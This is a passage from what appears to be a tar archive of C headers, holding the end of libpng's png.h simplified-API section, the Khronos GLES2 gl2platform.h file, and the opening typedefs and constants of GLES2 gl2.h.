* bytes per pixel according to the encoding, or are held in a color-map indexed * by bytes in the image data. In the case of a color-map the color-map entries * are individual samples, encoded as above, and the image data has one byte per * pixel to select the relevant sample from the color-map. */ /* PNG_FORMAT_* * * #defines to be used in png_image::format. Each #define identifies a * particular layout of sample data and, if present, alpha values. There are * separate defines for each of the two component encodings. * * A format is built up using single bit flag values. All combinations are * valid. Formats can be built up from the flag values or you can use one of * the predefined values below. When testing formats always use the FORMAT_FLAG * macros to test for individual features - future versions of the library may * add new flags. * * When reading or writing color-mapped images the format should be set to the * format of the entries in the color-map then png_image_{read,write}_colormap * called to read or write the color-map and set the format correctly for the * image data. Do not set the PNG_FORMAT_FLAG_COLORMAP bit directly! * * NOTE: libpng can be built with particular features disabled. If you see * compiler errors because the definition of one of the following flags has been * compiled out it is because libpng does not have the required support. It is * possible, however, for the libpng configuration to enable the format on just * read or just write; in that case you may see an error at run time. You can * guard against this by checking for the definition of the appropriate * "_SUPPORTED" macro, one of: * * PNG_SIMPLIFIED_{READ,WRITE}_{BGR,AFIRST}_SUPPORTED */ #define PNG_FORMAT_FLAG_ALPHA 0x01U /* format with an alpha channel */ #define PNG_FORMAT_FLAG_COLOR 0x02U /* color format: otherwise grayscale */ #define PNG_FORMAT_FLAG_LINEAR 0x04U /* 2-byte channels else 1-byte */ #define PNG_FORMAT_FLAG_COLORMAP 0x08U /* image data is color-mapped */ #ifdef PNG_FORMAT_BGR_SUPPORTED # define PNG_FORMAT_FLAG_BGR 0x10U /* BGR colors, else order is RGB */ #endif #ifdef PNG_FORMAT_AFIRST_SUPPORTED # define PNG_FORMAT_FLAG_AFIRST 0x20U /* alpha channel comes first */ #endif #define PNG_FORMAT_FLAG_ASSOCIATED_ALPHA 0x40U /* alpha channel is associated */ /* Commonly used formats have predefined macros. * * First the single byte (sRGB) formats: */ #define PNG_FORMAT_GRAY 0 #define PNG_FORMAT_GA PNG_FORMAT_FLAG_ALPHA #define PNG_FORMAT_AG (PNG_FORMAT_GA|PNG_FORMAT_FLAG_AFIRST) #define PNG_FORMAT_RGB PNG_FORMAT_FLAG_COLOR #define PNG_FORMAT_BGR (PNG_FORMAT_FLAG_COLOR|PNG_FORMAT_FLAG_BGR) #define PNG_FORMAT_RGBA (PNG_FORMAT_RGB|PNG_FORMAT_FLAG_ALPHA) #define PNG_FORMAT_ARGB (PNG_FORMAT_RGBA|PNG_FORMAT_FLAG_AFIRST) #define PNG_FORMAT_BGRA (PNG_FORMAT_BGR|PNG_FORMAT_FLAG_ALPHA) #define PNG_FORMAT_ABGR (PNG_FORMAT_BGRA|PNG_FORMAT_FLAG_AFIRST) /* Then the linear 2-byte formats. When naming these "Y" is used to * indicate a luminance (gray) channel. */ #define PNG_FORMAT_LINEAR_Y PNG_FORMAT_FLAG_LINEAR #define PNG_FORMAT_LINEAR_Y_ALPHA (PNG_FORMAT_FLAG_LINEAR|PNG_FORMAT_FLAG_ALPHA) #define PNG_FORMAT_LINEAR_RGB (PNG_FORMAT_FLAG_LINEAR|PNG_FORMAT_FLAG_COLOR) #define PNG_FORMAT_LINEAR_RGB_ALPHA \ (PNG_FORMAT_FLAG_LINEAR|PNG_FORMAT_FLAG_COLOR|PNG_FORMAT_FLAG_ALPHA) /* With color-mapped formats the image data is one byte for each pixel, the byte * is an index into the color-map which is formatted as above. To obtain a * color-mapped format it is sufficient just to add the PNG_FOMAT_FLAG_COLORMAP * to one of the above definitions, or you can use one of the definitions below. */ #define PNG_FORMAT_RGB_COLORMAP (PNG_FORMAT_RGB|PNG_FORMAT_FLAG_COLORMAP) #define PNG_FORMAT_BGR_COLORMAP (PNG_FORMAT_BGR|PNG_FORMAT_FLAG_COLORMAP) #define PNG_FORMAT_RGBA_COLORMAP (PNG_FORMAT_RGBA|PNG_FORMAT_FLAG_COLORMAP) #define PNG_FORMAT_ARGB_COLORMAP (PNG_FORMAT_ARGB|PNG_FORMAT_FLAG_COLORMAP) #define PNG_FORMAT_BGRA_COLORMAP (PNG_FORMAT_BGRA|PNG_FORMAT_FLAG_COLORMAP) #define PNG_FORMAT_ABGR_COLORMAP (PNG_FORMAT_ABGR|PNG_FORMAT_FLAG_COLORMAP) /* PNG_IMAGE macros * * These are convenience macros to derive information from a png_image * structure. The PNG_IMAGE_SAMPLE_ macros return values appropriate to the * actual image sample values - either the entries in the color-map or the * pixels in the image. The PNG_IMAGE_PIXEL_ macros return corresponding values * for the pixels and will always return 1 for color-mapped formats. The * remaining macros return information about the rows in the image and the * complete image. * * NOTE: All the macros that take a png_image::format parameter are compile time * constants if the format parameter is, itself, a constant. Therefore these * macros can be used in array declarations and case labels where required. * Similarly the macros are also pre-processor constants (sizeof is not used) so * they can be used in #if tests. * * First the information about the samples. */ #define PNG_IMAGE_SAMPLE_CHANNELS(fmt)\ (((fmt)&(PNG_FORMAT_FLAG_COLOR|PNG_FORMAT_FLAG_ALPHA))+1) /* Return the total number of channels in a given format: 1..4 */ #define PNG_IMAGE_SAMPLE_COMPONENT_SIZE(fmt)\ ((((fmt) & PNG_FORMAT_FLAG_LINEAR) >> 2)+1) /* Return the size in bytes of a single component of a pixel or color-map * entry (as appropriate) in the image: 1 or 2. */ #define PNG_IMAGE_SAMPLE_SIZE(fmt)\ (PNG_IMAGE_SAMPLE_CHANNELS(fmt) * PNG_IMAGE_SAMPLE_COMPONENT_SIZE(fmt)) /* This is the size of the sample data for one sample. If the image is * color-mapped it is the size of one color-map entry (and image pixels are * one byte in size), otherwise it is the size of one image pixel. */ #define PNG_IMAGE_MAXIMUM_COLORMAP_COMPONENTS(fmt)\ (PNG_IMAGE_SAMPLE_CHANNELS(fmt) * 256) /* The maximum size of the color-map required by the format expressed in a * count of components. This can be used to compile-time allocate a * color-map: * * png_uint_16 colormap[PNG_IMAGE_MAXIMUM_COLORMAP_COMPONENTS(linear_fmt)]; * * png_byte colormap[PNG_IMAGE_MAXIMUM_COLORMAP_COMPONENTS(sRGB_fmt)]; * * Alternatively use the PNG_IMAGE_COLORMAP_SIZE macro below to use the * information from one of the png_image_begin_read_ APIs and dynamically * allocate the required memory. */ /* Corresponding information about the pixels */ #define PNG_IMAGE_PIXEL_(test,fmt)\ (((fmt)&PNG_FORMAT_FLAG_COLORMAP)?1:test(fmt)) #define PNG_IMAGE_PIXEL_CHANNELS(fmt)\ PNG_IMAGE_PIXEL_(PNG_IMAGE_SAMPLE_CHANNELS,fmt) /* The number of separate channels (components) in a pixel; 1 for a * color-mapped image. */ #define PNG_IMAGE_PIXEL_COMPONENT_SIZE(fmt)\ PNG_IMAGE_PIXEL_(PNG_IMAGE_SAMPLE_COMPONENT_SIZE,fmt) /* The size, in bytes, of each component in a pixel; 1 for a color-mapped * image. */ #define PNG_IMAGE_PIXEL_SIZE(fmt) PNG_IMAGE_PIXEL_(PNG_IMAGE_SAMPLE_SIZE,fmt) /* The size, in bytes, of a complete pixel; 1 for a color-mapped image. */ /* Information about the whole row, or whole image */ #define PNG_IMAGE_ROW_STRIDE(image)\ (PNG_IMAGE_PIXEL_CHANNELS((image).format) * (image).width) /* Return the total number of components in a single row of the image; this * is the minimum 'row stride', the minimum count of components between each * row. For a color-mapped image this is the minimum number of bytes in a * row. * * WARNING: this macro overflows for some images with more than one component * and very large image widths. libpng will refuse to process an image where * this macro would overflow. */ #define PNG_IMAGE_BUFFER_SIZE(image, row_stride)\ (PNG_IMAGE_PIXEL_COMPONENT_SIZE((image).format)*(image).height*(row_stride)) /* Return the size, in bytes, of an image buffer given a png_image and a row * stride - the number of components to leave space for in each row. * * WARNING: this macro overflows a 32-bit integer for some large PNG images, * libpng will refuse to process an image where such an overflow would occur. */ #define PNG_IMAGE_SIZE(image)\ PNG_IMAGE_BUFFER_SIZE(image, PNG_IMAGE_ROW_STRIDE(image)) /* Return the size, in bytes, of the image in memory given just a png_image; * the row stride is the minimum stride required for the image. */ #define PNG_IMAGE_COLORMAP_SIZE(image)\ (PNG_IMAGE_SAMPLE_SIZE((image).format) * (image).colormap_entries) /* Return the size, in bytes, of the color-map of this image. If the image * format is not a color-map format this will return a size sufficient for * 256 entries in the given format; check PNG_FORMAT_FLAG_COLORMAP if * you don't want to allocate a color-map in this case. */ /* PNG_IMAGE_FLAG_* * * Flags containing additional information about the image are held in the * 'flags' field of png_image. */ #define PNG_IMAGE_FLAG_COLORSPACE_NOT_sRGB 0x01 /* This indicates the the RGB values of the in-memory bitmap do not * correspond to the red, green and blue end-points defined by sRGB. */ #define PNG_IMAGE_FLAG_FAST 0x02 /* On write emphasise speed over compression; the resultant PNG file will be * larger but will be produced significantly faster, particular for large * images. Do not use this option for images which will be distributed, only * used it when producing intermediate files that will be read back in * repeatedly. For a typical 24-bit image the option will double the read * speed at the cost of increasing the image size by 25%, however for many * more compressible images the PNG file can be 10 times larger with only a * slight speed gain. */ #define PNG_IMAGE_FLAG_16BIT_sRGB 0x04 /* On read if the image is a 16-bit per component image and there is no gAMA * or sRGB chunk assume that the components are sRGB encoded. Notice that * images output by the simplified API always have gamma information; setting * this flag only affects the interpretation of 16-bit images from an * external source. It is recommended that the application expose this flag * to the user; the user can normally easily recognize the difference between * linear and sRGB encoding. This flag has no effect on write - the data * passed to the write APIs must have the correct encoding (as defined * above.) * * If the flag is not set (the default) input 16-bit per component data is * assumed to be linear. * * NOTE: the flag can only be set after the png_image_begin_read_ call, * because that call initializes the 'flags' field. */ #ifdef PNG_SIMPLIFIED_READ_SUPPORTED /* READ APIs * --------- * * The png_image passed to the read APIs must have been initialized by setting * the png_controlp field 'opaque' to NULL (or, safer, memset the whole thing.) */ #ifdef PNG_STDIO_SUPPORTED PNG_EXPORT(234, int, png_image_begin_read_from_file, (png_imagep image, const char *file_name)); /* The named file is opened for read and the image header is filled in * from the PNG header in the file. */ PNG_EXPORT(235, int, png_image_begin_read_from_stdio, (png_imagep image, FILE* file)); /* The PNG header is read from the stdio FILE object. */ #endif /* STDIO */ PNG_EXPORT(236, int, png_image_begin_read_from_memory, (png_imagep image, png_const_voidp memory, png_size_t size)); /* The PNG header is read from the given memory buffer. */ PNG_EXPORT(237, int, png_image_finish_read, (png_imagep image, png_const_colorp background, void *buffer, png_int_32 row_stride, void *colormap)); /* Finish reading the image into the supplied buffer and clean up the * png_image structure. * * row_stride is the step, in byte or 2-byte units as appropriate, * between adjacent rows. A positive stride indicates that the top-most row * is first in the buffer - the normal top-down arrangement. A negative * stride indicates that the bottom-most row is first in the buffer. * * background need only be supplied if an alpha channel must be removed from * a png_byte format and the removal is to be done by compositing on a solid * color; otherwise it may be NULL and any composition will be done directly * onto the buffer. The value is an sRGB color to use for the background, * for grayscale output the green channel is used. * * background must be supplied when an alpha channel must be removed from a * single byte color-mapped output format, in other words if: * * 1) The original format from png_image_begin_read_from_* had * PNG_FORMAT_FLAG_ALPHA set. * 2) The format set by the application does not. * 3) The format set by the application has PNG_FORMAT_FLAG_COLORMAP set and * PNG_FORMAT_FLAG_LINEAR *not* set. * * For linear output removing the alpha channel is always done by compositing * on black and background is ignored. * * colormap must be supplied when PNG_FORMAT_FLAG_COLORMAP is set. It must * be at least the size (in bytes) returned by PNG_IMAGE_COLORMAP_SIZE. * image->colormap_entries will be updated to the actual number of entries * written to the colormap; this may be less than the original value. */ PNG_EXPORT(238, void, png_image_free, (png_imagep image)); /* Free any data allocated by libpng in image->opaque, setting the pointer to * NULL. May be called at any time after the structure is initialized. */ #endif /* SIMPLIFIED_READ */ #ifdef PNG_SIMPLIFIED_WRITE_SUPPORTED /* WRITE APIS * ---------- * For write you must initialize a png_image structure to describe the image to * be written. To do this use memset to set the whole structure to 0 then * initialize fields describing your image. * * version: must be set to PNG_IMAGE_VERSION * opaque: must be initialized to NULL * width: image width in pixels * height: image height in rows * format: the format of the data (image and color-map) you wish to write * flags: set to 0 unless one of the defined flags applies; set * PNG_IMAGE_FLAG_COLORSPACE_NOT_sRGB for color format images where the RGB * values do not correspond to the colors in sRGB. * colormap_entries: set to the number of entries in the color-map (0 to 256) */ #ifdef PNG_SIMPLIFIED_WRITE_STDIO_SUPPORTED PNG_EXPORT(239, int, png_image_write_to_file, (png_imagep image, const char *file, int convert_to_8bit, const void *buffer, png_int_32 row_stride, const void *colormap)); /* Write the image to the named file. */ PNG_EXPORT(240, int, png_image_write_to_stdio, (png_imagep image, FILE *file, int convert_to_8_bit, const void *buffer, png_int_32 row_stride, const void *colormap)); /* Write the image to the given (FILE*). */ #endif /* SIMPLIFIED_WRITE_STDIO */ /* With all write APIs if image is in one of the linear formats with 16-bit * data then setting convert_to_8_bit will cause the output to be an 8-bit PNG * gamma encoded according to the sRGB specification, otherwise a 16-bit linear * encoded PNG file is written. * * With color-mapped data formats the colormap parameter point to a color-map * with at least image->colormap_entries encoded in the specified format. If * the format is linear the written PNG color-map will be converted to sRGB * regardless of the convert_to_8_bit flag. * * With all APIs row_stride is handled as in the read APIs - it is the spacing * from one row to the next in component sized units (1 or 2 bytes) and if * negative indicates a bottom-up row layout in the buffer. If row_stride is * zero, libpng will calculate it for you from the image width and number of * channels. * * Note that the write API does not support interlacing, sub-8-bit pixels or * most ancillary chunks. If you need to write text chunks (e.g. for copyright * notices) you need to use one of the other APIs. */ PNG_EXPORT(245, int, png_image_write_to_memory, (png_imagep image, void *memory, png_alloc_size_t * PNG_RESTRICT memory_bytes, int convert_to_8_bit, const void *buffer, png_int_32 row_stride, const void *colormap)); /* Write the image to the given memory buffer. The function both writes the * whole PNG data stream to *memory and updates *memory_bytes with the count * of bytes written. * * 'memory' may be NULL. In this case *memory_bytes is not read however on * success the number of bytes which would have been written will still be * stored in *memory_bytes. On failure *memory_bytes will contain 0. * * If 'memory' is not NULL it must point to memory[*memory_bytes] of * writeable memory. * * If the function returns success memory[*memory_bytes] (if 'memory' is not * NULL) contains the written PNG data. *memory_bytes will always be less * than or equal to the original value. * * If the function returns false and *memory_bytes was not changed an error * occured during write. If *memory_bytes was changed, or is not 0 if * 'memory' was NULL, the write would have succeeded but for the memory * buffer being too small. *memory_bytes contains the required number of * bytes and will be bigger that the original value. */ #define png_image_write_get_memory_size(image, size, convert_to_8_bit, buffer,\ row_stride, colormap)\ png_image_write_to_memory(&(image), 0, &(size), convert_to_8_bit, buffer,\ row_stride, colormap) /* Return the amount of memory in 'size' required to compress this image. * The png_image structure 'image' must be filled in as in the above * function and must not be changed before the actual write call, the buffer * and all other parameters must also be identical to that in the final * write call. The 'size' variable need not be initialized. * * NOTE: the macro returns true/false, if false is returned 'size' will be * set to zero and the write failed and probably will fail if tried again. */ /* You can pre-allocate the buffer by making sure it is of sufficient size * regardless of the amount of compression achieved. The buffer size will * always be bigger than the original image and it will never be filled. The * following macros are provided to assist in allocating the buffer. */ #define PNG_IMAGE_DATA_SIZE(image) (PNG_IMAGE_SIZE(image)+(image).height) /* The number of uncompressed bytes in the PNG byte encoding of the image; * uncompressing the PNG IDAT data will give this number of bytes. * * NOTE: while PNG_IMAGE_SIZE cannot overflow for an image in memory this * macro can because of the extra bytes used in the PNG byte encoding. You * need to avoid this macro if your image size approaches 2^30 in width or * height. The same goes for the remainder of these macros; they all produce * bigger numbers than the actual in-memory image size. */ #ifndef PNG_ZLIB_MAX_SIZE # define PNG_ZLIB_MAX_SIZE(b) ((b)+(((b)+7U)>>3)+(((b)+63U)>>6)+11U) /* An upper bound on the number of compressed bytes given 'b' uncompressed * bytes. This is based on deflateBounds() in zlib; different * implementations of zlib compression may conceivably produce more data so * if your zlib implementation is not zlib itself redefine this macro * appropriately. */ #endif #define PNG_IMAGE_COMPRESSED_SIZE_MAX(image)\ PNG_ZLIB_MAX_SIZE((png_alloc_size_t)PNG_IMAGE_DATA_SIZE(image)) /* An upper bound on the size of the data in the PNG IDAT chunks. */ #define PNG_IMAGE_PNG_SIZE_MAX_(image, image_size)\ ((8U/*sig*/+25U/*IHDR*/+16U/*gAMA*/+44U/*cHRM*/+12U/*IEND*/+\ (((image).format&PNG_FORMAT_FLAG_COLORMAP)?/*colormap: PLTE, tRNS*/\ 12U+3U*(image).colormap_entries/*PLTE data*/+\ (((image).format&PNG_FORMAT_FLAG_ALPHA)?\ 12U/*tRNS*/+(image).colormap_entries:0U):0U)+\ 12U)+(12U*((image_size)/PNG_ZBUF_SIZE))/*IDAT*/+(image_size)) /* A helper for the following macro; if your compiler cannot handle the * following macro use this one with the result of * PNG_IMAGE_COMPRESSED_SIZE_MAX(image) as the second argument (most * compilers should handle this just fine.) */ #define PNG_IMAGE_PNG_SIZE_MAX(image)\ PNG_IMAGE_PNG_SIZE_MAX_(image, PNG_IMAGE_COMPRESSED_SIZE_MAX(image)) /* An upper bound on the total length of the PNG data stream for 'image'. * The result is of type png_alloc_size_t, on 32-bit systems this may * overflow even though PNG_IMAGE_DATA_SIZE does not overflow; the write will * run out of buffer space but return a corrected size which should work. */ #endif /* SIMPLIFIED_WRITE */ /******************************************************************************* * END OF SIMPLIFIED API ******************************************************************************/ #endif /* SIMPLIFIED_{READ|WRITE} */ /******************************************************************************* * Section 6: IMPLEMENTATION OPTIONS ******************************************************************************* * * Support for arbitrary implementation-specific optimizations. The API allows * particular options to be turned on or off. 'Option' is the number of the * option and 'onoff' is 0 (off) or non-0 (on). The value returned is given * by the PNG_OPTION_ defines below. * * HARDWARE: normally hardware capabilites, such as the Intel SSE instructions, * are detected at run time, however sometimes it may be impossible * to do this in user mode, in which case it is necessary to discover * the capabilities in an OS specific way. Such capabilities are * listed here when libpng has support for them and must be turned * ON by the application if present. * * SOFTWARE: sometimes software optimizations actually result in performance * decrease on some architectures or systems, or with some sets of * PNG images. 'Software' options allow such optimizations to be * selected at run time. */ #ifdef PNG_SET_OPTION_SUPPORTED #ifdef PNG_ARM_NEON_API_SUPPORTED # define PNG_ARM_NEON 0 /* HARDWARE: ARM Neon SIMD instructions supported */ #endif #define PNG_MAXIMUM_INFLATE_WINDOW 2 /* SOFTWARE: force maximum window */ #define PNG_SKIP_sRGB_CHECK_PROFILE 4 /* SOFTWARE: Check ICC profile for sRGB */ #ifdef PNG_MIPS_MSA_API_SUPPORTED # define PNG_MIPS_MSA 6 /* HARDWARE: MIPS Msa SIMD instructions supported */ #endif #define PNG_IGNORE_ADLER32 8 #ifdef PNG_POWERPC_VSX_API_SUPPORTED # define PNG_POWERPC_VSX 10 /* HARDWARE: PowerPC VSX SIMD instructions supported */ #endif #define PNG_OPTION_NEXT 12 /* Next option - numbers must be even */ /* Return values: NOTE: there are four values and 'off' is *not* zero */ #define PNG_OPTION_UNSET 0 /* Unset - defaults to off */ #define PNG_OPTION_INVALID 1 /* Option number out of range */ #define PNG_OPTION_OFF 2 #define PNG_OPTION_ON 3 PNG_EXPORT(244, int, png_set_option, (png_structrp png_ptr, int option, int onoff)); #endif /* SET_OPTION */ /******************************************************************************* * END OF HARDWARE AND SOFTWARE OPTIONS ******************************************************************************/ /* Maintainer: Put new public prototypes here ^, in libpng.3, in project * defs, and in scripts/symbols.def. */ /* The last ordinal number (this is the *last* one already used; the next * one to use is one more than this.) */ #ifdef PNG_EXPORT_LAST_ORDINAL PNG_EXPORT_LAST_ORDINAL(249); #endif #ifdef __cplusplus } #endif #endif /* PNG_VERSION_INFO_ONLY */ /* Do not put anything past this line */ #endif /* PNG_H */ GLES2/gl2platform.h 0000644 00000002210 15246445047 0007770 0 ustar 00 #ifndef __gl2platform_h_ #define __gl2platform_h_ /* ** Copyright (c) 2017 The Khronos Group Inc. ** ** Licensed under the Apache License, Version 2.0 (the "License"); ** you may not use this file except in compliance with the License. ** You may obtain a copy of the License at ** ** http://www.apache.org/licenses/LICENSE-2.0 ** ** Unless required by applicable law or agreed to in writing, software ** distributed under the License is distributed on an "AS IS" BASIS, ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ** See the License for the specific language governing permissions and ** limitations under the License. */ /* Platform-specific types and definitions for OpenGL ES 2.X gl2.h * * Adopters may modify khrplatform.h and this file to suit their platform. * Please contribute modifications back to Khronos as pull requests on the * public github repository: * https://github.com/KhronosGroup/OpenGL-Registry */ #include <KHR/khrplatform.h> #ifndef GL_APICALL #define GL_APICALL KHRONOS_APICALL #endif #ifndef GL_APIENTRY #define GL_APIENTRY KHRONOS_APIENTRY #endif #endif /* __gl2platform_h_ */ GLES2/gl2.h 0000644 00000125734 15246445047 0006244 0 ustar 00 #ifndef __gles2_gl2_h_ #define __gles2_gl2_h_ 1 #ifdef __cplusplus extern "C" { #endif /* ** Copyright (c) 2013-2018 The Khronos Group Inc. ** ** Permission is hereby granted, free of charge, to any person obtaining a ** copy of this software and/or associated documentation files (the ** "Materials"), to deal in the Materials without restriction, including ** without limitation the rights to use, copy, modify, merge, publish, ** distribute, sublicense, and/or sell copies of the Materials, and to ** permit persons to whom the Materials are furnished to do so, subject to ** the following conditions: ** ** The above copyright notice and this permission notice shall be included ** in all copies or substantial portions of the Materials. ** ** THE MATERIALS ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, ** EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF ** MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. ** IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY ** CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, ** TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE ** MATERIALS OR THE USE OR OTHER DEALINGS IN THE MATERIALS. */ /* ** This header is generated from the Khronos OpenGL / OpenGL ES XML ** API Registry. The current version of the Registry, generator scripts ** used to make the header, and the header can be found at ** https://github.com/KhronosGroup/OpenGL-Registry */ #include <GLES2/gl2platform.h> #ifndef GL_APIENTRYP #define GL_APIENTRYP GL_APIENTRY* #endif #ifndef GL_GLES_PROTOTYPES #define GL_GLES_PROTOTYPES 1 #endif /* Generated on date 20190805 */ /* Generated C header for: * API: gles2 * Profile: common * Versions considered: 2\.[0-9] * Versions emitted: .* * Default extensions included: None * Additional extensions included: _nomatch_^ * Extensions removed: _nomatch_^ */ #ifndef GL_ES_VERSION_2_0 #define GL_ES_VERSION_2_0 1 #include <KHR/khrplatform.h> typedef khronos_int8_t GLbyte; typedef khronos_float_t GLclampf; typedef khronos_int32_t GLfixed; typedef khronos_int16_t GLshort; typedef khronos_uint16_t GLushort; typedef void GLvoid; typedef struct __GLsync *GLsync; typedef khronos_int64_t GLint64; typedef khronos_uint64_t GLuint64; typedef unsigned int GLenum; typedef unsigned int GLuint; typedef char GLchar; typedef khronos_float_t GLfloat; typedef khronos_ssize_t GLsizeiptr; typedef khronos_intptr_t GLintptr; typedef unsigned int GLbitfield; typedef int GLint; typedef unsigned char GLboolean; typedef int GLsizei; typedef khronos_uint8_t GLubyte; #define GL_DEPTH_BUFFER_BIT 0x00000100 #define GL_STENCIL_BUFFER_BIT 0x00000400 #define GL_COLOR_BUFFER_BIT 0x00004000 #define GL_FALSE 0 #define GL_TRUE 1 #define GL_POINTS 0x0000 #define GL_LINES 0x0001 #define GL_LINE_LOOP 0x0002 #define GL_LINE_STRIP 0x0003 #define GL_TRIANGLES 0x0004 #define GL_TRIANGLE_STRIP 0x0005 #define GL_TRIANGLE_FAN 0x0006 #define GL_ZERO 0 #define GL_ONE 1 #define GL_SRC_COLOR 0x0300 #define GL_ONE_MINUS_SRC_COLOR 0x0301 #define GL_SRC_ALPHA 0x0302 #define GL_ONE_MINUS_SRC_ALPHA 0x0303 #define GL_DST_ALPHA 0x0304 #define GL_ONE_MINUS_DST_ALPHA 0x0305 #define GL_DST_COLOR 0x0306 #define GL_ONE_MINUS_DST_COLOR 0x0307 #define GL_SRC_ALPHA_SATURATE 0x0308 #define GL_FUNC_ADD 0x8006 #define GL_BLEND_EQUATION 0x8009 #define GL_BLEND_EQUATION_RGB 0x8009 #define GL_BLEND_EQUATION_ALPHA 0x883D #define GL_FUNC_SUBTRACT 0x800A #define GL_FUNC_REVERSE_SUBTRACT 0x800B #define GL_BLEND_DST_RGB 0x80C8 #define GL_BLEND_SRC_RGB 0x80C9 #define GL_BLEND_DST_ALPHA 0x80CA #define GL_BLEND_SRC_ALPHA 0x80CB #define GL_CONSTANT_COLOR 0x8001 #define GL_ONE_MINUS_CONSTANT_COLOR 0x8002 #define GL_CONSTANT_ALPHA 0x8003 #define GL_ONE_MINUS_CONSTANT_ALPHA 0x8004 #define GL_BLEND_COLOR 0x8005 #define GL_ARRAY_BUFFER 0x8892 #define GL_ELEMENT_ARRAY_BUFFER 0x8893 #define GL_ARRAY_BUFFER_BINDING 0x8894 #define GL_ELEMENT_ARRAY_BUFFER_BINDING 0x8895 #define GL_STREAM_DRAW 0x88E0 #define GL_STATIC_DRAW 0x88E4 #define GL_DYNAMIC_DRAW 0x88E8 #define GL_BUFFER_SIZE 0x8764 #define GL_BUFFER_USAGE 0x8765 #define GL_CURRENT_VERTEX_ATTRIB 0x8626 #define GL_FRONT 0x0404 #define GL_BACK 0x0405 #define GL_FRONT_AND_BACK 0x0408 #define GL_TEXTURE_2D 0x0DE1 #define GL_CULL_FACE 0x0B44 #define GL_BLEND 0x0BE2 #define GL_DITHER 0x0BD0 #define GL_STENCIL_TEST 0x0B90 #define GL_DEPTH_TEST 0x0B71 #define GL_SCISSOR_TEST 0x0C11 #define GL_POLYGON_OFFSET_FILL 0x8037 #define GL_SAMPLE_ALPHA_TO_COVERAGE 0x809E #define GL_SAMPLE_COVERAGE 0x80A0 #define GL_NO_ERROR 0 #define GL_INVALID_ENUM 0x0500 #define GL_INVALID_VALUE 0x0501 #define GL_INVALID_OPERATION 0x0502 #define GL_OUT_OF_MEMORY 0x0505 #define GL_CW 0x0900 #define GL_CCW 0x0901 #define GL_LINE_WIDTH 0x0B21 #define GL_ALIASED_POINT_SIZE_RANGE 0x846D #define GL_ALIASED_LINE_WIDTH_RANGE 0x846E #define GL_CULL_FACE_MODE 0x0B45 #define GL_FRONT_FACE 0x0B46 #define GL_DEPTH_RANGE 0x0B70 #define GL_DEPTH_WRITEMASK 0x0B72 #define GL_DEPTH_CLEAR_VALUE 0x0B73 #define GL_DEPTH_FUNC 0x0B74 #define GL_STENCIL_CLEAR_VALUE 0x0B91 #define GL_STENCIL_FUNC 0x0B92 #define GL_STENCIL_FAIL 0x0B94 #define GL_STENCIL_PASS_DEPTH_FAIL 0x0B95 #define GL_STENCIL_PASS_DEPTH_PASS 0x0B96 #define GL_STENCIL_REF 0x0B97 #define GL_STENCIL_VALUE_MASK 0x0B93 #define GL_STENCIL_WRITEMASK 0x0B98 #define GL_STENCIL_BACK_FUNC 0x8800 #define GL_STENCIL_BACK_FAIL 0x8801 #define GL_STENCIL_BACK_PASS_DEPTH_FAIL 0x8802 #define GL_STENCIL_BACK_PASS_DEPTH_PASS 0x8803 #define GL_STENCIL_BACK_REF 0x8CA3 #define GL_STENCIL_BACK_VALUE_MASK 0x8CA4 #define GL_STENCIL_BACK_WRITEMASK 0x8CA5 #define GL_VIEWPORT 0x0BA2 #define GL_SCISSOR_BOX 0x0C10 #define GL_COLOR_CLEAR_VALUE 0x0C22 #define GL_COLOR_WRITEMASK 0x0C23 #define GL_UNPACK_ALIGNMENT 0x0CF5 #define GL_PACK_ALIGNMENT 0x0D05 #define GL_MAX_TEXTURE_SIZE 0x0D33 #define GL_MAX_VIEWPORT_DIMS 0x0D3A #define GL_SUBPIXEL_BITS 0x0D50 #define GL_RED_BITS 0x0D52 #define GL_GREEN_BITS 0x0D53 #define GL_BLUE_BITS 0x0D54 #define GL_ALPHA_BITS 0x0D55 #define GL_DEPTH_BITS 0x0D56 #define GL_STENCIL_BITS 0x0D57 #define GL_POLYGON_OFFSET_UNITS 0x2A00 #define GL_POLYGON_OFFSET_FACTOR 0x8038 #define GL_TEXTURE_BINDING_2D 0x8069 #define GL_SAMPLE_BUFFERS 0x80A8 #define GL_SAMPLES 0x80A9 #define GL_SAMPLE_COVERAGE_VALUE 0x80AA #define GL_SAMPLE_COVERAGE_INVERT 0x80AB #define GL_NUM_COMPRESSED_TEXTURE_FORMATS 0x86A2 #define GL_COMPRESSED_TEXTURE_FORMATS 0x86A3 #define GL_DONT_CARE 0x1100 #define GL_FASTEST 0x1101 #define GL_NICEST 0x1102 #define GL_GENERATE_MIPMAP_HINT 0x8192 #define GL_BYTE 0x1400 #define GL_UNSIGNED_BYTE 0x1401 #define GL_SHORT 0x1402 #define GL_UNSIGNED_SHORT 0x1403 #define GL_INT 0x1404 #define GL_UNSIGNED_INT 0x1405 #define GL_FLOAT 0x1406 #define GL_FIXED 0x140C #define GL_DEPTH_COMPONENT 0x1902 #define GL_ALPHA 0x1906 #define GL_RGB 0x1907 #define GL_RGBA 0x1908 #define GL_LUMINANCE 0x1909 #define GL_LUMINANCE_ALPHA 0x190A #define GL_UNSIGNED_SHORT_4_4_4_4 0x8033 #define GL_UNSIGNED_SHORT_5_5_5_1 0x8034 #define GL_UNSIGNED_SHORT_5_6_5 0x8363 #define GL_FRAGMENT_SHADER 0x8B30 #define GL_VERTEX_SHADER 0x8B31 #define GL_MAX_VERTEX_ATTRIBS 0x8869 #define GL_MAX_VERTEX_UNIFORM_VECTORS 0x8DFB #define GL_MAX_VARYING_VECTORS 0x8DFC #define GL_MAX_COMBINED_TEXTURE_IMAGE_UNITS 0x8B4D #define GL_MAX_VERTEX_TEXTURE_IMAGE_UNITS 0x8B4C #define GL_MAX_TEXTURE_IMAGE_UNITS 0x8872 #define GL_MAX_FRAGMENT_UNIFORM_VECTORS 0x8DFD #define GL_SHADER_TYPE 0x8B4F #define GL_DELETE_STATUS 0x8B80 #define GL_LINK_STATUS 0x8B82 #define GL_VALIDATE_STATUS 0x8B83 #define GL_ATTACHED_SHADERS 0x8B85 #define 